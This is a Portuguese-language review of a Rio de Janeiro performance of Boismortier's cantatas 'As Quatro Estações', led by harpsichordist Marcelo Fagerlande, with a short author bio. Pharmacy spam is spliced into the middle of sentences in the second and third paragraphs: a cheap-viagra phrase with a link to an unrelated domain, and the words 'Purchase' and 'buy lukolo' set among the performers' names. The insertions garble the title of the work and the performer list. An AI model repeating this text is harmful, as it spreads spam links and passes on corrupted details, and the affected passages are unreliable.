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Suave foi a noite

Cantatas barrocas dirigidas pelo cravista Marcelo Fagerlande inundam Sala Cecília Meireles de encantamento.

 

Marcelo Fagerlande é um carioca que parece se diferenciar da maioria de seus conterrâneos. Não bastasse ser alto e loiro, deve ter passado a adolescência longe da praia, do surfe, do samba tão comuns na cidade: começou a estudar cravo aos 14 anos, com Roberto de Regina, e o gosto pelas coisas de outrora foi aumentando, até levá-lo a uma graduação em cravo na Escola Superior de Música de Stuttgart, a um doutorado em Musicologia na Uni-Rio e a um estágio pós-doutoral no Institut de Recherche sur le Patrimoine Musical en France. Toda essa dedicação levou esse carioca atípico a ser um dos maiores experts do país em música antiga, que nos brindou, ao longo da carreira, com pérolas quase esquecidas de Telemann, Torrejón y Velasco, Purcell, Rameau, Monteverdi e Boismortier.

É desse francês – Joseph Bodin de Boismortier (1689–1755) – a última empreitada de Fagerlande: online 50 mg viagra cheap canadax http://leonitotl.mhs.narotama.ac.id/2018/02/02/charboleps-shipping/ Cheap Purchase As Quatro Estações – Cantatas francesas a uma voz acompanhadas de instrumentos online , apresentada na Sala Cecília Meireles nas noites de 27 e 28 de fevereiro. Publicadas em 1724 – um ano antes da famosa obra homônima de Antonio Vivaldi –, é peça pouco conhecida. Esta foi, provavelmente, sua primeira audição no Brasil.

Sob a direção musical de Fagerlande, e com o próprio ao cravo, subiram ao palco Juliano Buosi (violino barroco), Purchase Paulo da Mata (flauta barroca) e Cecília Aprigliano (viola da gamba), bem como os cantores Marília Vargas (soprano) e Marcelo Coutinho buy lukolo (barítono).

Já na primeira peça (Sonata em trio nº 1, Op. 41, em mi menor, para flauta, violino e baixo contínuo), a plateia é transportada a outro tempo: de delicadeza e suavidade, nos fazendo imediatamente olvidar os rugidos da cidade lá fora. Cheia de elegância, a partitura foi executada com delicadeza.

Ao fundo, projetada em vídeo na parede, uma grande árvore – criação de Angélica de Carvalho. De cores sutis, transformava-se lentamente, acompanhando a mudança das estações, e delicadamente balançava pelo soprar de um vento imaginário.

As letras das canções eram previamente declamadas em português, o que facilitou deveras o entendimento. O barítono Coutinho exerceu a tarefa na maior parte das vezes, com voz bem projetada e picardia na interpretação. Quando cantou (em Outono, a terceira cantata), apesar da beleza do timbre e da notável técnica vocal, soou um pouco pesado para a leveza exigida pelo barroco, com mais lentidão para executar os ornamentos. Todavia, nada que comprometesse a beleza do espetáculo.

A soprano Marília é dona de voz cristalina e delicada, perfeita para a partitura. Seus solos foram muitíssimo bem executados, em especial uma ária (Lentement) da cantata Verão. Sua participação abrilhantou a noite como a de uma agradável convidada que torna uma festa inesquecível.

O conjunto musical tocava com enorme harmonia e integração, e a eles se juntavam os cantores somando qualidades. A bela projeção entremeava-se com uma bonita iluminação, que também acompanhava a mudança climática – rosa, amarelo, ocre e azul. Música plena de sentimentos – elegantes solos de violino e flauta, belas árias de soprano, acompanhamento impecável – de um tempo que ainda paira entre nós graças ao trabalho desse (e de outros) cariocas atípicos. Obrigado, Marcelo Fagerlande.

Marcelo Fagerlande
Marcelo Fagerlande (foto de Guido Paterno Castello)

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Fabiano Gonçalves
Publicitário e roteirista (formado no Maurits Binger Film Institute - Amsterdã). Corroteirista do longa O Amor Está no Ar e de programas de TV (novela Chiquititas - 1998/2000). Redator na revista SuiGeneris, no site Escola24horas e no Departamento Nacional do Senac. Um dos fundadores do movimento.com, escreve também sobre televisão para o site teledossie.com.br. - E-mail: fabiano@movimento.com